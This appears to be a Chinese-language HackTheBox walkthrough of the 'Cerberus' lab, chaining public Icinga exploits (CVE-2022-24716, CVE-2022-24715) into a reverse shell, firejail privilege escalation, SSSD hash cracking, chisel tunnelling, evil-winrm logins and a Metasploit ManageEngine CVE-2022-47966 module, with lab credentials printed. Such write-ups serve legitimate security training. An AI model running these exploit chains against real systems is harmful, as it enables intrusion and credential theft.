一、信息搜集
nmap -sT -Pn 10.10.11.205
访问
8080
端口,发现跳转:http://icinga.cerberus.local:8080/icingaweb2/,并且无法访问,很明显我们需要绑定host
。 在/etc/hosts
文件下加一行:
10.10.11.205 icinga.cerberus.local cerberus.local
再访问:只扫出一个端口这明显不对,而我们之前进行的是
TCP
端口扫描,我们再进行UDP
端口扫描:
sudo nmap -sU --min-rate=10000 -p- 10.10.11.205
可以看到开放了
53
、88
、123
、389
端口,基本可以判断这是一台域控。
二、CVE-2022-24715与CVE-2022-24716
关于这个8080
端口的Icinga
服务,主要漏洞为CVE-2022-24715
和CVE-2022-24716
,前者是RCE
漏洞,后者是任意文件读取漏洞,由于前者的利用需要知道用户名和密码,因此我们可以尝试通过后者来读取配置文件获取相关账号密码,具体可参考官网的说明:[https://icinga.com/docs/icinga-web/latest/doc/03-Configuration/](https://icinga.com/docs/icinga-web/latest/doc/03-Configuration/)
;我们尝试利用:
git clone https://github.com/JacobEbben/CVE-2022-24716.git
git clone https://github.com/cxdxnt/CVE-2022-24715.git
cd CVE-2022-24716
python exploit.py http://icinga.cerberus.local:8080/icingaweb2/ /etc/icingaweb2/resources.ini
拿到账号密码matthew
/IcingaWebPassword2023
:nc
开启监听:
nc -nlvp 6666
尝试RCE
:
cd ../CVE-2022-24715
python exploit.py -u http://icinga.cerberus.local:8080 -U matthew -P IcingaWebPassword2023 -i 10.10.16.14 -p 6666
攻击成功:拿到反弹
shell
,但是权限很低:
三、提权
find / -perm -u=s -type f 2>/dev/null
发现我们可以利用firejail
来提权:并且目标有
Python3
的环境:使用脚本:https://gist.github.com/GugSaas/9fb3e59b3226e8073b3f8692859f8d25(CVE-2022-31214)
kali
执行:
wget https://gist.githubusercontent.com/GugSaas/9fb3e59b3226e8073b3f8692859f8d25/raw/86058ce12f69997b2de35c5de7bcd3036654f32f/exploit.py
python -m http.server
然后去交互shell
那里:
cd /tmp
wget http://10.10.16.14:8000/exploit.py
python3 -c 'import pty; pty.spawn("/bin/sh")'
然后执行脚本:
chmod +x exploit.py
python3 exploit.py
需要我们重新创建一个
shell
来执行这个命令:
firejail --join=5641
su -
id
提权成功:因为我们知道这是有域的,因此检查
linux
的SSSD
服务目录下有没有什么东西。这里也可以查看进程,发现有sssd
:
ps auxww | grep sssd
发现可能有价值的文件:
不能在目标上开服务下载:
实际上这个系统被
minisize
了,貌似可以输入unminisize
来还原,但是尽量不改变环境的话我们直接查看文件就行,这里使用strings
命令而不是cat
命令:
strings cac*
发现关键性内容:
[email protected]
$6$6LP9gyiXJCovapcy$0qmZTTjp9f2A0e7n4xk0L6ZoeKhhaCNm0VGJnX/Mu608QkliMpIy1FwKZlyUJAZU3FZ3.GQ.4N6bb9pxE3t3T0
保存上面的hash
至matthew_hash
,然后尝试用john
破解,一秒出结果:
四、端口转发登录员工机器
ifconfig
:我们此时需要去看内网有哪些存活主机:
for i in {1..254}; do (ping -c 1 172.16.22.${i} | grep "bytes from" | grep -v "Unreachable" &); done;
发现只有一台机器,那应该就是这个用户的,我们进行端口转发。 先下载个
nmap
(项目文件地址:https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap,注意要自己手动下载,不能wget
上面的地址,否则下载下来的是网页内容,报错:/nmap: line 1: payload:allShortcutsEnabled:false: command not found
)传上去,方法和之前一样:
chmod +x nmap
./nmap -p- --min-rate 10000 172.16.22.1
发现只开放了5985
端口:下载
chisel
:https://github.com/jpillora/chisel/releases/tag/v1.9.1 (类似的工具都可以) 改个名儿:和之前一样传上去:
kali
上执行:
chmod +x chisel
./chisel server -p 8000 --reverse
icinga
那边执行:
./chisel client 10.10.16.14:8000 R:5985:172.16.22.1:5985
转发好了:kali
这里直接evil-winrm
登录:
evil-winrm -i 127.0.0.1 -u matthew -p 147258369
拿user
的flag
:
五、ManageEngine
继续翻目录探索,在C:Program Files (x86)
下发现ManageEngine
:发现备份文件:
5.1 破解备份文件
我们在kali
这里开smb
:
impacket-smbserver -username hacker -password hacker -smb2support share .
然后evil-winrm
那里执行:
net use \10.10.16.14share /u:hacker hacker
copy OfflineBackup_20230214064809.ezip \10.10.16.14share
但是unzip
无法解压:不过
7z
可以解压:
7z l OfflineBackup_20230214064809.ezip
7z x OfflineBackup_20230214064809.ezip -r -o/home/kali/Desktop/htb_Cerberus/OfflineBackup
文件很多:解压需要密码:
从官方文档https://www.manageengine.com/products/self-service-password/kb/password-selfservice-database-backup-restore.html中,我们可以得知默认密码是文件名反过来:
尝试生成默认密码:
echo "OfflineBackup_20230214064809" | rev
得到:90846041203202_pukcaBenilffO
。 解压发现一个hash.txt
:查看:
在当前文件夹下搜索所有包含hash的:
grep '$2a$' ./*
之前的密码也破解出来了:
但是感觉没什么用,也没见着用户名。
5.2 CVE-2022-47966
和之前打的靶场一样,尝试利用这个漏洞。 看看这个机子的默认ManageEngine
端口9251
开没开:
netstat -ano | findstr 9251
开着的:只不过,这个端口没对外开放,继续端口转发。 下载个
Windows
版的chisel
传上去:
cd C:UsersmatthewDesktop
upload /home/kali/Desktop/htb_Cerberus/chisel.exe
传的比较慢,得等一会:evil-winrm
这里执行:
./chisel.exe client 10.10.16.14:8000 R:socks
转发成功:挂代理:
访问https://127.0.0.1:9251发现跳转:
https://dc.cerberus.local/adfs/ls/?SAMLRequest=pVNNj9owFLz3V0S%2Bk9gJhGCRrCh0VSS2RZDtoZfKOC%2BsJcemtsOy%2F34dPra0aqnUnizZ896bNzMe3x0aGezBWKFVjkiIUQCK60qobY4ey%2Ftehu6Kd2PLGhnv6KR1T2oF31uwLphYC8b5uqlWtm3ArMHsBYfH1SJHT87tLI2i2ZSO4gGJugYLvRUqSocsqwgm6Qj3cVzxlKXDfn%2BT1TxjQ84I43WWbeIaBTM%2FRSjmjtQuDSsecjAbMK0NpeZMRqyqbSRthIL5LEffOMF4tEkGHMeDZBRzlqWDPibxkPUBp1niYda2MFfWMeVyFOM46eFRj2QlITRJKE7CIcZfUbA02mmu5XuhTnq0RlHNrLBUsQYsdZyuJw8LGoeYbk4gSz%2BW5bK3%2FLwujw32ogLzyaNz9MAU28IH5UWAYDJbg6zPigVL2VoUfLnYEHc2eGOUpSfhb4%2FenXmi4uQTPS5ognttGuZu13Y3ourVRygF5YR7%2BWn27XJ2yQAq%2Ft%2FxcXRNv7iErlNvPltqKfhLMJFSP08NMOcVdaYF9Nc1SUh%2BWbNVdgdc1AIqFL3NOecaqmPKfagdHFww1c2OGWE7X%2BDAuHtT%2BRo2lV6JFdT%2FpNxNGKe86%2B2vl%2F541qbqYgnc8ywN84to4y7C%2FY5RcX78w34%2Fnq%2F%2FdvEK&RelayState=aHR0cHM6Ly9EQzo5MjUxL3NhbWxMb2dpbi9MT0dJTl9BVVRI
于是改hosts
,加个dc.cerberus.local
:典型的
ADFS
界面:msf
直接打,当然用poc
也是可以的:
use exploit/multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966
这里的
guid
得从登录后的url
中获取,登录的账号就是[email protected]
/147258369
:也就是
guid
:67a8d101690402dc6a6744b8fc8a7ca1acf88b2f
,查找ISSUER URL
可以这么做:
cd /home/kali/Desktop/htb_Cerberus/OfflineBackup
grep ISSUER *
set rhosts 10.10.11.205
set lhost 10.10.16.14
set GUID 67a8d101690402dc6a6744b8fc8a7ca1acf88b2f
set ISSUER_URL http://dc.cerberus.local/adfs/services/trust
set ReverseAllowProxy true
set proxies socks5:127.0.0.1:1080
run
getuid
shell
cd usersadministratordesktop
type root.txt
原文始发于微信公众号(追梦信安):【HackTheBox系列】第五篇:简单难度之Certberus(Icinga与ManageEngine的漏洞利用、端口转发)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论